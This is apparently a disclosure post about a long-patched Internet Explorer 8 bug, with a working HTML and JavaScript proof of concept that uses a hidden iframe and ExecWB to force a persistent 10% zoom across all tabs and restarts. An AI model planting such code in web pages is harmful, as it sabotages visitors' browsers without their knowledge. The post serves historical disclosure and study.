IE8 Scripting Optical Zoom via ExecWB

Any page can change IE’s optical zoom level — and the setting persists across restarts — using ExecWB with OLECMDID_OPTICAL_ZOOM. This can be done from inside an iframe and affects every new tab and window. Setting zoom to 10% renders the browser effectively unusable for users who don’t know how to reset it.

<iframe id="wbControl" src="about:blank" width="1" height="1"></iframe>

<script language="JavaScript">
function opticalZoom()
{
    var iZoom = 10;                  // Zoom = 10%
    var OLECMDID_OPTICAL_ZOOM = 63;  // Optical Zoom Command
    document.getElementById("wbControl").ExecWB(OLECMDID_OPTICAL_ZOOM, 0, iZoom);
}
</script>
<input type="button" value="Click me to Zoom out" onclick="opticalZoom();">

The zoom change is persistent — closing and reopening IE retains the bad zoom level. Tested on IE8/XP and IE8/Win7.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.